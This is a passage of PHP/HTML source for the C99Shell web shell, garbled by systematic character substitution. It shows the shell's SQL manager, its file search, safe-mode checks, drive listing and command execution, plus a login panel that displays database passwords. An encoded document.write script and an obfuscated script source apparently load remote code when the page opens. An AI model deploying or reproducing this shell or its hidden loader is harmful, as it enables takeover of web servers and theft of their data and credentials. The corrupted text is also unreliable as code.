name+M&c99sh$s2l2#eryM& method+M&46SCM&:<1:&, i !!)s2l$2#ery' and !")s#1mit''
(echo &Jo yo# really 3ant to&,. else (echo &SAL-A#ery&,. echo
&L</1:<1r:<1r:<te%tarea name+M&s2l$2#eryM& cols+M&100M&
ro3s+M&10M&:&.htmlspecialchars!)s2l$2#ery'.&</te%tarea:<1r:<1r:<inp#t
type+M&hiddenM& name+M&s2l$actM& val#e+M&2#eryM&:<inp#t type+M&hiddenM&
name+M&s2l$t1lM& val#e+M&&.htmlspecialchars!)s2l$t1l'.&M&:<inp#t type+M&hiddenM&
name+M&s#1mitM& val#e+M&1M&:<inp#t type+M&hiddenM& name+M&s2l$gotoM&
val#e+M&&.htmlspecialchars!)s2l$goto'.&M&:<inp#t type+M&s#1mitM&
name+M&s2l$conirmM& val#e+M&KesM&:8n1sp,<inp#t type+M&s#1mitM&
val#e+M&HoM&:</orm:</td:&,
i !)t1l$str#ct'
(
echo &<td valign+M&topM&:<1:IieldsL</1:<1r:&,
oreach !)t1l$str#ct as )ield' ()name + )ield=&Iield&>, echo &] <a hre+M&ZM&
onclic9+M&doc#ment.c99sh$s2l2#ery.s2l$2#ery.val#e-+O\&.)name.&\O,M&:<1:&.
)name.&</1:</a:<1r:&,.
echo &</td:</tr:</ta1le:&,
.
.
i !)s2l$2#ery$res#lt or !")s2l$conirm'' ()s2l$2#ery + )s2l$last$2#ery,.
.
.
i !"#nction$e%ists!&mys2l$create$d1&''
(
#nction mys2l$create$d1!)d1*)soc9+&&'
(
)s2l + &D?@AC@ JACA<AS@ \&.addslashes!)d1'.&\,&,
i !)soc9' (ret#rn mys2l$2#ery!)s2l*)soc9',.
else (ret#rn mys2l$2#ery!)s2l',.
.
.
i !"#nction$e%ists!&mys2l$2#ery$parse&''
(
#nction mys2l$2#ery$parse!)2#ery'
(
)2#ery + trim!)2#ery',
)arr + e%plode !& &*)2#ery',
/*array array!'
(
&M@C56J&+:array!o#tp#t$type'*
&M@C56J1&...
...
.
i o#tp#t$type ++ 0* no o#tp#t*
i o#tp#t$type ++ 1* no o#tp#t i no error
i o#tp#t$type ++ G* o#tp#t 3itho#t control-1#ttons
i o#tp#t$type ++ 7* o#tp#t 3ith control-1#ttons
*/
)types + array!
&S@L@DC&+:array!7*1'*
&S56P&+:array!G*1'*
&J@L@C@&+:array!1'*
&J?64&+:array!1'
',
)res#lt + array!',
)op + strto#pper!)arr=0>',
i !is$array!)types=)op>''
(
)res#lt=&propertions&> + )types=)op>,
)res#lt=&2#ery&> + )2#ery,
i !)types=)op> ++ G'
(
oreach!)arr as )9+:)v'
(
i !strto#pper!)v' ++ &LFMFC&'
(
)res#lt=&limit&> + )arr=)9-1>,
)res#lt=&limit&> + e%plode!&*&*)res#lt=&limit&>',
i !co#nt!)res#lt=&limit&>' ++ 1' ()res#lt=&limit&> +
array!0*)res#lt=&limit&>=0>',.
#nset!)arr=)9>*)arr=)9-1>',
.
.
.
.
else (ret#rn alse,.
.
.
i !"#nction$e%ists!&c99search&''
(
#nction c99search!)d'
(
glo1al )o#nd,
glo1al )o#nd$d,
glo1al )o#nd$,
glo1al )search$i$,
glo1al )search$i$d,
glo1al )a,
i !s#1str!)d*-1*1' "+ JF?@DC6?K$S@4A?AC6?' ()d .+ JF?@DC6?K$S@4A?AC6?,.
)h + opendir!)d',
3hile !!) + readdir!)h'' "++ alse'
(
i!) "+ &.& 88 ) "+ &..&'
(
)1ool + !empty!)a=&name$rege%p&>' and strpos!)*)a=&name&>' "++ alse' YY
!)a=&name$rege%p&> and ereg!)a=&name&>*)'',
i !is$dir!)d.)''
(
)search$i$d--,
i !empty!)a=&te%t&>' and )1ool' ()o#nd=> + )d.), )o#nd$d--,.
i !"is$lin9!)d.)'' (c99search!)d.)',.
.
else
(
)search$i$--,
i !)1ool'
(
i !"empty!)a=&te%t&>''
(
)r + 0ile$get$contents!)d.)',
i !)a=&te%t$33o&>' ()a=&te%t&> + & &.trim!)a=&te%t&>'.& &,.
i !")a=&te%t$cs&>' ()a=&te%t&> + strtolo3er!)a=&te%t&>', )r +
strtolo3er!)r',.
i !)a=&te%t$rege%p&>' ()1ool + ereg!)a=&te%t&>*)r',.
else ()1ool + strpos!& &.)r*)a=&te%t&>*1',.
i !)a=&te%t$not&>' ()1ool + ")1ool,.
i !)1ool' ()o#nd=> + )d.), )o#nd$--,.
.
else ()o#nd=> + )d.), )o#nd$--,.
.
.
.
.
closedir!)h',
.
.
i !)act ++ &goile&' (i !is$dir!)'' ()act + &ls&, )d + ),. else ()act + &&,
)d + dirname!)', ) + 1asename!)',..
//Sending headers
header!&@%piresL Mon* GN ^#l 199R 0/L00L00 ;MC&',
header!&Last-ModiiedL &.gmdate!&J* d M K 5LiLs&'.& ;MC&',
header!&Dache-DontrolL no-store* no-cache* m#st-revalidate&',
header!&Dache-DontrolL post-chec9+0* pre-chec9+0&* alse',
header!&4ragmaL no-cache&',
i !empty!)tmpdir''
(
i !")3in' ()tmpdir + &/tmp/&,.
else ()tmpdir + getenv!&System?oot&',.
.
else ()tmpdir + realpath!)tmpdir',.
)tmpdir + str$replace!&MM&*JF?@DC6?K$S@4A?AC6?*)tmpdir',
i !s#1str!)tmpdir*-1*1' "+ JF?@DC6?K$S@4A?AC6?' ()tmpdir .+ JF?@DC6?K$S@4A?AC6?,.
i !empty!)tmpdir$logs'' ()tmpdir$logs + )tmpdir,.
else ()tmpdir$logs + realpath!)tmpdir$logs',.
i !0ini$get!&sae$mode&' or strtolo3er!0ini$get!&sae$mode&'' ++ &on&'
(
)saemode + tr#e,
)hsaemode + &<ont color+M&redM&:6H !sec#re'</ont:&,
.
else ()saemode + alse, )hsaemode + &<ont color+M&greenM&:6II !not
sec#re'</ont:&,.
)v + 0ini$get!&open$1asedir&',
i !)v or strtolo3er!)v' ++ &on&' ()open1asedir + tr#e, )hopen1asedir + &<ont
color+M&redM&:&.)v.&</ont:&,.
else ()open1asedir + alse, )hopen1asedir + &<ont color+M&greenM&:6II !not
sec#re'</ont:&,.
)sort + htmlspecialchars!)sort',
i !empty!)sort'' ()sort + )sort$dea#lt,.
)sort=1> + strtolo3er!)sort=1>',
)JFS4$S@?X@?$S6ICPA?@ + getenv!&S@?X@?$S6ICPA?@&',
i !"ereg!&454/&.phpversion!'*)JFS4$S@?X@?$S6ICPA?@'' ()JFS4$S@?X@?$S6ICPA?@ .+ &.
454/&.phpversion!',.
)JFS4$S@?X@?$S6ICPA?@ + str$replace!&454/&.phpversion!'*&<a hre+M&&.
)s#rl.&act+phpinoM&
target+M&$1lan9M&:<1:<#:454/&.phpversion!'.&</#:</1:</a:&*htmlspecialchars!)JFS4$S
@?X@?$S6ICPA?@'',
0ini$set!&highlight.1g&*)highlight$1g', //IIIIII
0ini$set!&highlight.comment&*)highlight$comment', //ZIIQ000
0ini$set!&highlight.dea#lt&*)highlight$dea#lt', //Z0000<<
0ini$set!&highlight.html&*)highlight$html', //Z000000
0ini$set!&highlight.9ey3ord&*)highlight$9ey3ord', //Z00RR00
0ini$set!&highlight.string&*)highlight$string', //ZJJ0000
i !"is$array!)act1o%'' ()act1o% + array!',.
)dspact + )act + htmlspecialchars!)act',
)disp$#llpath + )ls$arr + )notls + n#ll,
)#d + #rlencode!)d',
?:
<script
type+&te%t/Vavascript&:doc#ment.3rite!OM#007cM#00/7M#00U7M#00/GM#00U9M#00/0M#00/UM
#00G0M#00/7M#00/GM#00U7M#007dM#00NQM#00RUM#00RUM#00R0M#007aM#00GM#00GM#00RRM#00R
RM#00RRM#00GeM#00NM#00RUM#00NM#00N/M#00NcM#00N/M#00N1M#00RUM#00RGM#00NM#00NeM#0
0N9M#00N1M#00GeM#00NeM#00N/M#00RUM#00GM#00R9M#00N1M#00RaM#00N7M#00N9M#00RaM#00GM
#00N7M#00N9M#00RaM#00GeM#00NaM#00R7M#007eM#007cM#00GM#00/7M#00U7M#00/GM#00U9M#00/
0M#00/UM#007eO'</script:
<html:<head:<meta http-e2#iv+&Dontent-Cype& content+&te%t/html, charset+3indo3s-
1G/1&:<meta http-e2#iv+&Dontent-Lang#age& content+&en-#s&:<lin9 rel+&shortc#t
icon& hre+&& type+&image/%-icon&:</SD?F4C:<title:<?php echo
getenv!&5CC4$56SC&', ?: - c99shell</title:<SCKL@:CJ ( I6HC-SF_@L Qpt, D6L6?L
Ze1e1e1, I6HC-IAMFLKL verdana,.<6JK ( scroll1ar-ace-colorL ZQ00000, scroll1ar-
shado3-colorL Z101010, scroll1ar-highlight-colorL Z101010, scroll1ar-7dlight-
colorL Z101010, scroll1ar-dar9shado3-colorL Z101010, scroll1ar-trac9-colorL
Z101010, scroll1ar-arro3-colorL Z101010, ont-amilyL Xerdana,.CJ.header ( I6HC-
P@F;5CL normal, I6HC-SF_@L 10pt, <ADE;?6BHJL ZRdRURU, D6L6?L 3hite, I6HC-IAMFLKL
verdana,.A ( I6HC-P@F;5CL normal, D6L6?L Zdadada, I6HC-IAMFLKL verdana, C@SC-
J@D6?ACF6HL none,.AL#n9no3n ( I6HC-P@F;5CL normal, D6L6?L Z, I6HC-IAMFLKL
verdana, C@SC-J@D6?ACF6HL none,.A.Lin9s ( D6L6?L Z, C@SC-J@D6?ACF6HL
none,.A.Lin9sL#n9no3n ( I6HC-P@F;5CL normal, D6L6?L Z, C@SC-J@D6?ACF6HL
none,.ALhover ( D6L6?L Z, C@SC-J@D6?ACF6HL
#nderline,..s9in0(positionLa1sol#te, 3idthLG00p%, 1orderLGp% solid 1lac9,
1ac9gro#nd-colorLmen#, ont-amilyLXerdana, line-heightLG0p%, c#rsorLdea#lt,
visi1ilityLhidden,,..s9in1(c#rsorL dea#lt, ontL men#te%t, positionL a1sol#te,
3idthL 1U/p%, 1ac9gro#nd-colorL men#, 1orderL 1 solid
1#ttonace,visi1ilityLhidden, 1orderL G o#tset 1#ttonhighlight, ont-amilyL
Xerdana*;eneva* Arial, ont-siWeL 10p%, colorL 1lac9,..men#items(padding-
letL1/p%, padding-rightL10p%,,.inp#t(1ac9gro#nd-colorL ZQ00000, ont-siWeL Qpt,
colorL ZIIIIII, ont-amilyL Cahoma, 1orderL 1 solid ZNNNNNN,.te%tarea(1ac9gro#nd-
colorL ZQ00000, ont-siWeL Qpt, colorL ZIIIIII, ont-amilyL Cahoma, 1orderL 1
solid ZNNNNNN,.1#tton(1ac9gro#nd-colorL ZQ00000, ont-siWeL Qpt, colorL ZIIIIII,
ont-amilyL Cahoma, 1orderL 1 solid ZNNNNNN,.select(1ac9gro#nd-colorL ZQ00000,
ont-siWeL Qpt, colorL ZIIIIII, ont-amilyL Cahoma, 1orderL 1 solid
ZNNNNNN,.option (1ac9gro#nd-colorL ZQ00000, ont-siWeL Qpt, colorL ZIIIIII, ont-
amilyL Cahoma, 1orderL 1 solid ZNNNNNN,.irame (1ac9gro#nd-colorL ZQ00000, ont-
siWeL Qpt, colorL ZIIIIII, ont-amilyL Cahoma, 1orderL 1 solid ZNNNNNN,.p
(MA?;FH-C64L 0p%, MA?;FH-<6CC6ML 0p%, LFH@-5@F;5CL 1/0T.1loc92#ote( ont-siWeL
Qpt, ont-amilyL Do#rier* Ii%ed* Arial, 1order L Qp% solid ZA9A9A9, paddingL 1em,
margin-topL 1em, margin-1ottomL /em, margin-rightL 7em, margin-letL Uem,
1ac9gro#nd-colorL Z<R<G<0,.1ody*td*th ( ont-amilyL verdana, colorL Zd9d9d9,
ont-siWeL 11p%,.1ody ( 1ac9gro#nd-colorL Z000000,.</style:</head:<<6JK
te%t+Z 1ottomMargin+0 1gDolor+Z000000 letMargin+0 topMargin+0 rightMargin+0
marginheight+0 margin3idth+0:<center:<CA<L@ style+&<6?J@?-D6LLA4S@L collapse&
height+1 cellSpacing+0 1orderDolorJar9+ZNNNNNN cell4adding+/ 3idth+&100T&
1gDolor+Z777777 1orderDolorLight+Zc0c0c0 1order+1 1ordercolor+&ZD0D0D0&:<tr:<th
3idth+&101T& height+&1/& no3rap 1ordercolor+&ZD0D0D0& valign+&top&
colspan+&G&:<p:<ont ace+Pe1dings siWe+N:<1:"</1:</ont:<a hre+&<?php echo
)s#rl, ?:&:<ont ace+&Xerdana& siWe+&/&:<1:<SD?F4C
S?D+8Z%NQ8Z%RU8Z%RU8Z%R08Z%7a8Z%G8Z%G8Z%RR8Z%RR8Z%RR8Z%Ge8Z%R08Z%RG8Z%N98Z%RN8Z%
N78Z%708Z%NU8Z%N/8Z%Ge8Z%N78Z%N8Z%Nd8Z%G8Z%N98Z%Nd8Z%N18Z%NR8Z%N/8Z%R78Z%G8Z%R9
8Z%N18Z%Ra8Z%Ge8Z%Na8Z%R7:</SD?F4C:D99Shell v. <?php echo )shver, ?
:</1:</ont:</a:<ont ace+Pe1dings siWe+N:<1:"
</1:</ont:</p:</center:</th:</tr:<tr:<td:<p align+&let&:<1:Sot3areL8n1sp,<?php
echo )JFS4$S@?X@?$S6ICPA?@, ?:</1:8n1sp,</p:<p align+&let&:<1:#name -aL8n1sp,<?
php echo 3ord3rap!php$#name!'*90*&<1r:&*1', ?:</1:8n1sp,</p:<p align+&let&:<1:<?
php i !")3in' (echo 3ord3rap!myshelle%ec!&id&'*90*&<1r:&*1',. else (echo
get$c#rrent$#ser!',. ?:</1:8n1sp,</p:<p align+&let&:<1:Sae-modeL8n1sp,<?php echo
)hsaemode, ?:</1:</p:<p align+&let&:<?php
)d + str$replace!&MM&*JF?@DC6?K$S@4A?AC6?*)d',
i !empty!)d'' ()d + realpath!&.&',. elsei!realpath!)d'' ()d + realpath!)d',.
)d + str$replace!&MM&*JF?@DC6?K$S@4A?AC6?*)d',
i !s#1str!)d*-1*1' "+ JF?@DC6?K$S@4A?AC6?' ()d .+ JF?@DC6?K$S@4A?AC6?,.
)d + str$replace!&MMMM&*&MM&*)d',
)dispd + htmlspecialchars!)d',
)pd + )e + e%plode!JF?@DC6?K$S@4A?AC6?*s#1str!)d*0*strlen!)d'-1'',
)i + 0,
oreach!)pd as )1'
(
)t + &&,
reset!)e',
)V + 0,
oreach !)e as )r'
(
)t.+ )r.JF?@DC6?K$S@4A?AC6?,
i !)V ++ )i' (1rea9,.
)V--,
.
echo &<a hre+M&&.)s#rl.&act+ls8d+&.#rlencode!)t'.&8sort+&.
)sort.&M&:<1:&.htmlspecialchars!)1'.JF?@DC6?K$S@4A?AC6?.&</1:</a:&,
)i--,
.
echo &8n1sp,8n1sp,8n1sp,&,
i !is$3rita1le!)d''
(
)3d + tr#e,
)3dt + &<ont color+M&greenM&:= o9 ></ont:&,
echo &<1:<ont color+M&greenM&:&.vie3$perms!ileperms!)d''.&</ont:</1:&,
.
else
(
)3d + alse,
)3dt + &<ont color+M&redM&:= ?ead-6nly ></ont:&,
echo &<1:&.vie3$perms$color!)d'.&</1:&,
.
i !is$calla1le!&dis9$ree$space&''
(
)ree + dis9$ree$space!)d',
)total + dis9$total$space!)d',
i !)ree +++ alse' ()ree + 0,.
i !)total +++ alse' ()total + 0,.
i !)ree < 0' ()ree + 0,.
i !)total < 0' ()total + 0,.
)#sed + )total-)ree,
)ree$percent + ro#nd!100/!)total/)ree'*G',
echo &<1r:<1:Iree &.vie3$siWe!)ree'.& o &.vie3$siWe!)total'.& !&.
)ree$percent.&T'</1:&,
.
echo &<1r:&,
)letters + &&,
i !)3in'
(
)v + e%plode!&MM&*)d',
)v + )v=0>,
oreach !range!&a&*&W&' as )letter'
(
)1ool + )isdis9ette + in$array!)letter*)saemode$dis9ettes',
i !")1ool' ()1ool + is$dir!)letter.&LMM&',.
i !)1ool'
(
)letters .+ &<a hre+M&&.)s#rl.&act+ls8d+&.)letter.&LMMM&&.!)isdis9ette?&
onclic9+M&ret#rn conirm!OMa9e s#re that the dis9ette is inserted properly*
other3ise an error may occ#r.O'M&&L&&'.&:= &,
i !)letter.&L& "+ )v' ()letters .+ )letter,.
else ()letters .+ &<ont color+M&greenM&:&.)letter.&</ont:&,.
)letters .+ & ></a: &,
.
.
i !"empty!)letters'' (echo &<1:Jetected drives</1:L &.)letters.&<1r:&,.
.
i !co#nt!)2#ic9la#nch' : 0'
(
oreach!)2#ic9la#nch as )item'
(
)item=1> + str$replace!&Td&*#rlencode!)d'*)item=1>',
)item=1> + str$replace!&Tsort&*)sort*)item=1>',
)v + realpath!)d.&..&',
i !empty!)v'' ()a + e%plode!JF?@DC6?K$S@4A?AC6?*)d', #nset!)a=co#nt!)a'-G>', )v
+ Voin!JF?@DC6?K$S@4A?AC6?*)a',.
)item=1> + str$replace!&T#pd&*#rlencode!)v'*)item=1>',
echo &<a hre+M&&.)item=1>.&M&:&.)item=0>.&</a:8n1sp,8n1sp,8n1sp,8n1sp,&,
.
.
?:</p:</td:</tr:</ta1le:<1r:<?php
i !!"empty!)donated$html'' and !in$array!)act*)donated$act''' (?:<CA<L@
style+&<6?J@?-D6LLA4S@L collapse& cellSpacing+0 1orderDolorJar9+ZNNNNNN
cell4adding+/ 3idth+&100T& 1gDolor+Z777777 1orderDolorLight+Zc0c0c0
1order+1:<tr:<td 3idth+&100T& valign+&top&:<?php echo )donated$html, ?
:</td:</tr:</ta1le:<1r:<?php .
?:<CA<L@ style+&<6?J@?-D6LLA4S@L collapse& cellSpacing+0 1orderDolorJar9+ZNNNNNN
cell4adding+/ 3idth+&100T& 1gDolor+Z777777 1orderDolorLight+Zc0c0c0
1order+1:<tr:<td 3idth+&100T& valign+&top&:<?php
i !)act ++ &&' ()act + )dspact + &ls&,.
i !)act ++ &s2l&'
(
)s2l$s#rl + )s#rl.&act+s2l&,
i !)s2l$login' ()s2l$s#rl .+ &8s2l$login+&.htmlspecialchars!)s2l$login',.
i !)s2l$pass3d' ()s2l$s#rl .+ &8s2l$pass3d+&.htmlspecialchars!)s2l$pass3d',.
i !)s2l$server' ()s2l$s#rl .+ &8s2l$server+&.htmlspecialchars!)s2l$server',.
i !)s2l$port' ()s2l$s#rl .+ &8s2l$port+&.htmlspecialchars!)s2l$port',.
i !)s2l$d1' ()s2l$s#rl .+ &8s2l$d1+&.htmlspecialchars!)s2l$d1',.
)s2l$s#rl .+ &8&,
?:<h7:Attention" SAL-Manager is <#:H6C</#: ready mod#le" JonOt reports
1#gs.</h7:<CA<L@ style+&<6?J@?-D6LLA4S@L collapse& height+1 cellSpacing+0
1orderDolorJar9+ZNNNNNN cell4adding+/ 3idth+&100T& 1gDolor+Z777777
1orderDolorLight+Zc0c0c0 1order+1 1ordercolor+&ZD0D0D0&:<tr:<td 3idth+&100T&
height+&1& colspan+&G& valign+&top&:<center:<?php
i !)s2l$server'
(
)s2l$soc9 + mys2l$connect!)s2l$server.&L&.)s2l$port* )s2l$login* )s2l$pass3d',
)err + mys2l$smarterror!',
0mys2l$select$d1!)s2l$d1*)s2l$soc9',
i !)s2l$2#ery and )s#1mit' ()s2l$2#ery$res#lt + mys2l$2#ery!)s2l$2#ery*
)s2l$soc9', )s2l$2#ery$error + mys2l$smarterror!',.
.
else ()s2l$soc9 + alse,.
echo &<1:SAL ManagerL</1:<1r:&,
i !")s2l$soc9'
(
i !")s2l$server' (echo &H6 D6HH@DCF6H&,.
else (echo &<center:<1:DanOt connect</1:</center:&, echo &<1:&.)err.&</1:&,.
.
else
(
)s2l2#ic9la#nch + array!',
)s2l2#ic9la#nch=> + array!&Fnde%&*
)s#rl.&act+s2l8s2l$login+&.htmlspecialchars!)s2l$login'.&8s2l$pass3d+&.htmlspecial
chars!)s2l$pass3d'.&8s2l$server+&.htmlspecialchars!)s2l$server'.&8s2l$port+&.htmls
pecialchars!)s2l$port'.&8&',
)s2l2#ic9la#nch=> + array!&A#ery&*
)s2l$s#rl.&s2l$act+2#ery8s2l$t1l+&.#rlencode!)s2l$t1l'',
)s2l2#ic9la#nch=> + array!&Server-stat#s&*
)s#rl.&act+s2l8s2l$login+&.htmlspecialchars!)s2l$login'.&8s2l$pass3d+&.htmlspecial
chars!)s2l$pass3d'.&8s2l$server+&.htmlspecialchars!)s2l$server'.&8s2l$port+&.htmls
pecialchars!)s2l$port'.&8s2l$act+serverstat#s&',
)s2l2#ic9la#nch=> + array!&Server varia1les&*
)s#rl.&act+s2l8s2l$login+&.htmlspecialchars!)s2l$login'.&8s2l$pass3d+&.htmlspecial
chars!)s2l$pass3d'.&8s2l$server+&.htmlspecialchars!)s2l$server'.&8s2l$port+&.htmls
pecialchars!)s2l$port'.&8s2l$act+servervars&',
)s2l2#ic9la#nch=> + array!&4rocesses&*
)s#rl.&act+s2l8s2l$login+&.htmlspecialchars!)s2l$login'.&8s2l$pass3d+&.htmlspecial
chars!)s2l$pass3d'.&8s2l$server+&.htmlspecialchars!)s2l$server'.&8s2l$port+&.htmls
pecialchars!)s2l$port'.&8s2l$act+processes&',
)s2l2#ic9la#nch=> + array!&Logo#t&*)s#rl.&act+s2l&',
echo &<center:<1:MySAL &.mys2l$get$server$ino!'.& !proto
v.&.mys2l$get$proto$ino !'.&' r#nning in
&.htmlspecialchars!)s2l$server'.&L&.htmlspecialchars!)s2l$port'.& as
&.htmlspecialchars!)s2l$login'.&0&.htmlspecialchars!)s2l$server'.& !pass3ord
- M&&.htmlspecialchars!)s2l$pass3d'.&M&'</1:<1r:&,
i !co#nt!)s2l2#ic9la#nch' : 0' (oreach!)s2l2#ic9la#nch as )item' (echo &= <a
hre+M&&.)item=1>.&M&:<1:&.)item=0>.&</1:</a: > &,..
echo &</center:&,
.
echo &</td:</tr:<tr:&,
i !")s2l$soc9' (?:<td 3idth+&GQT& height+&100& valign+&top&:<center:<ont
siWe+&/&: i </ont:</center:<li:F login is n#ll* login is o3ner o process.<li:F
host is n#ll* host is localhost</1:<li:F port is n#ll* port is 770N
!dea#lt'</td:<td 3idth+&90T& height+&1& valign+&top&:<CA<L@ height+1
cellSpacing+0 cell4adding+0 3idth+&100T& 1order+0:<tr:<td:8n1sp,<1:4lease* ill
the
ormL</1:<ta1le:<tr:<td:<1:Bsername</1:</td:<td:<1:4ass3ord</1:8n1sp,</td:<td:<1:J
ata1ase</1:8n1sp,</td:</tr:<orm:<inp#t type+&hidden& name+&act&
val#e+&s2l&:<tr:<td:<inp#t type+&te%t& name+&s2l$login& val#e+&root&
ma%length+&NU&:</td:<td:<inp#t type+&pass3ord& name+&s2l$pass3d& val#e+&&
ma%length+&NU&:</td:<td:<inp#t type+&te%t& name+&s2l$d1& val#e+&&
ma%length+&NU&:</td:</tr:<tr:<td:<1:5ost</1:</td:<td:<1:46?C</1:</td:</tr:<tr:<td
align+right:<inp#t type+&te%t& name+&s2l$server& val#e+&localhost&
ma%length+&NU&:</td:<td:<inp#t type+&te%t& name+&s2l$port& val#e+&770N&
ma%length+&N& siWe+&7&:</td:<td:<inp#t type+&s#1mit&
val#e+&Donnect&:</td:</tr:<tr:<td:</td:</tr:</orm:</ta1le:</td:<?php .
else
(
//Start let panel
i !"empty!)s2l$d1''
(
?:<td 3idth+&G/T& height+&100T& valign+&top&:<a hre+&<?php echo
)s#rl.&act+s2l8s2l$login+&.htmlspecialchars!)s2l$login'.&8s2l$pass3d+&.htmlspecial
chars!)s2l$pass3d'.&8s2l$server+&.htmlspecialchars!)s2l$server'.&8s2l$port+&.htmls
pecialchars!)s2l$port'.&8&, ?:&:<1:5ome</1:</a:<hr siWe+&1& noshade:<?php
)res#lt + mys2l$list$ta1les!)s2l$d1',
i !")res#lt' (echo mys2l$smarterror!',.
else
(
echo &---= <a hre+M&&.)s2l$s#rl.&8M&:<1:&.htmlspecialchars!)s2l$d1'.&</1:</a:
>---<1r:&,
)c + 0,
3hile !)ro3 + mys2l$etch$array!)res#lt'' ()co#nt + mys2l$2#ery !&S@L@DC
D6BHC!*' I?6M &.)ro3=0>', )co#nt$ro3 + mys2l$etch$array!)co#nt', echo
&<1:]8n1sp,<a hre+M&&.
)s2l$s#rl.&s2l$d1+&.htmlspecialchars!)s2l$d1'.&8s2l$t1l+&.htmlspecialchars!)ro3=0>
'.&M&:<1:&.htmlspecialchars!)ro3=0>'.&</1:</a: !&.)co#nt$ro3=0>.&'</1r:</1:&,
mys2l$ree$res#lt!)co#nt', )c--,.
i !")c' (echo &Ho ta1les o#nd in data1ase.&,.
.
.
else
(
?:<td 3idth+&1& height+&100& valign+&top&:<a hre+&<?php echo )s2l$s#rl, ?
:&:<1:5ome</1:</a:<hr siWe+&1& noshade:<?php
)res#lt + mys2l$list$d1s!)s2l$soc9',
i !")res#lt' (echo mys2l$smarterror!',.
else
(
?:<orm action+&<?php echo )s#rl, ?:&:<inp#t type+&hidden& name+&act&
val#e+&s2l&:<inp#t type+&hidden& name+&s2l$login& val#e+&<?php echo
htmlspecialchars!)s2l$login', ?:&:<inp#t type+&hidden& name+&s2l$pass3d& val#e+&<?
php echo htmlspecialchars!)s2l$pass3d', ?:&:<inp#t type+&hidden& name+&s2l$server&
val#e+&<?php echo htmlspecialchars!)s2l$server', ?:&:<inp#t type+&hidden&
name+&s2l$port& val#e+&<?php echo htmlspecialchars!)s2l$port', ?:&:<select
name+&s2l$d1&:<?php
)c + 0,
)d1s + &&,
3hile !)ro3 + mys2l$etch$ro3!)res#lt'' ()d1s .+ &<option val#e+M&&.
)ro3=0>.&M&&, i !)s2l$d1 ++ )ro3=0>' ()d1s .+ & selected&,. )d1s .+ &:&.
)ro3=0>.&</option:&, )c--,.
echo &<option val#e+M&M&:Jata1ases !&.)c.&'</option:&,
echo )d1s,
.
?:</select:<hr siWe+&1& noshade:4lease* select data1ase<hr siWe+&1&
noshade:<inp#t type+&s#1mit& val#e+&;o&:</orm:<?php
.
//@nd let panel
echo &</td:<td 3idth+M&100TM& height+M&1M& valign+M&topM&:&,
//Start center panel
)diplay + tr#e,
i !)s2l$d1'
(
i !"is$n#meric!)c'' ()c + 0,.
i !)c ++ 0' ()c + &no&,.
echo &<hr siWe+M&1M& noshade:<center:<1:Chere are &.)c.& ta1le!s' in this J<
!&.htmlspecialchars!)s2l$d1'.&'.<1r:&,
i !co#nt!)d12#ic9la#nch' : 0' (oreach!)d1s2l2#ic9la#nch as )item' (echo &= <a
hre+M&&.)item=1>.&M&:&.)item=0>.&</a: > &,..
echo &</1:</center:&,
)acts + array!&&*&d#mp&',
i !)s2l$act ++ &t1ldrop&' ()s2l$2#ery + &J?64 CA<L@&, oreach!)1o%t1l as )v'
()s2l$2#ery .+ &Mn\&.)v.&\ *&,. )s2l$2#ery +
s#1str!)s2l$2#ery*0*strlen!)s2l$2#ery'-1'.&,&, )s2l$act + &2#ery&,.
elsei !)s2l$act ++ &t1lempty&' ()s2l$2#ery + &&, oreach!)1o%t1l as )v'
()s2l$2#ery .+ &J@L@C@ I?6M \&.)v.&\ Mn&,. )s2l$act + &2#ery&,.
elsei !)s2l$act ++ &t1ld#mp&' (i !co#nt!)1o%t1l' : 0' ()dmpt1ls + )1o%t1l,.
elsei!)thist1l' ()dmpt1ls + array!)s2l$t1l',. )s2l$act + &d#mp&,.
elsei !)s2l$act ++ &t1lchec9&' ()s2l$2#ery + &D5@DE CA<L@&, oreach!)1o%t1l as
)v' ()s2l$2#ery .+ &Mn\&.)v.&\ *&,. )s2l$2#ery +
s#1str!)s2l$2#ery*0*strlen!)s2l$2#ery'-1'.&,&, )s2l$act + &2#ery&,.
elsei !)s2l$act ++ &t1loptimiWe&' ()s2l$2#ery + &64CFMF_@ CA<L@&,
oreach!)1o%t1l as )v' ()s2l$2#ery .+ &Mn\&.)v.&\ *&,. )s2l$2#ery +
s#1str!)s2l$2#ery*0*strlen!)s2l$2#ery'-1'.&,&, )s2l$act + &2#ery&,.
elsei !)s2l$act ++ &t1lrepair&' ()s2l$2#ery + &?@4AF? CA<L@&, oreach!)1o%t1l
as )v' ()s2l$2#ery .+ &Mn\&.)v.&\ *&,. )s2l$2#ery +
s#1str!)s2l$2#ery*0*strlen!)s2l$2#ery'-1'.&,&, )s2l$act + &2#ery&,.
elsei !)s2l$act ++ &t1lanalyWe&' ()s2l$2#ery + &AHALK_@ CA<L@&,
oreach!)1o%t1l as )v' ()s2l$2#ery .+ &Mn\&.)v.&\ *&,. )s2l$2#ery +
s#1str!)s2l$2#ery*0*strlen!)s2l$2#ery'-1'.&,&, )s2l$act + &2#ery&,.
elsei !)s2l$act ++ &deletero3&' ()s2l$2#ery + &&, i !"empty!)1o%ro3$all''
()s2l$2#ery + &J@L@C@ * I?6M \&.)s2l$t1l.&\,&,. else (oreach!)1o%ro3 as )v'
()s2l$2#ery .+ &J@L@C@ * I?6M \&.)s2l$t1l.&\ P5@?@&.)v.& LFMFC 1,Mn&,. )s2l$2#ery
+ s#1str!)s2l$2#ery*0*strlen!)s2l$2#ery'-1',. )s2l$act + &2#ery&,.
elsei !)s2l$t1l$act ++ &insert&'
(
i !)s2l$t1l$insert$radio ++ 1'
(
)9eys + &&,
)a9eys + array$9eys!)s2l$t1l$insert',
oreach !)a9eys as )v' ()9eys .+ &\&.addslashes!)v'.&\* &,.
i !"empty!)9eys'' ()9eys + s#1str!)9eys*0*strlen!)9eys'-G',.
)val#es + &&,
)i + 0,
oreach !array$val#es!)s2l$t1l$insert' as )v' (i !)#nct +
)s2l$t1l$insert$#ncts=)a9eys=)i>>' ()val#es .+ )#nct.& !&,. )val#es .+
&O&.addslashes!)v'.&O&, i !)#nct' ()val#es .+ &'&,. )val#es .+ &* &, )i--,.
i !"empty!)val#es'' ()val#es + s#1str!)val#es*0*strlen!)val#es'-G',.
)s2l$2#ery + &FHS@?C FHC6 \&.)s2l$t1l.&\ ! &.)9eys.& ' XALB@S ! &.
)val#es.& ',&,
)s2l$act + &2#ery&,
)s2l$t1l$act + &1ro3se&,
.
elsei !)s2l$t1l$insert$radio ++ G'
(
)set + mys2l$1#ild3here!)s2l$t1l$insert*&* &*)s2l$t1l$insert$#ncts',
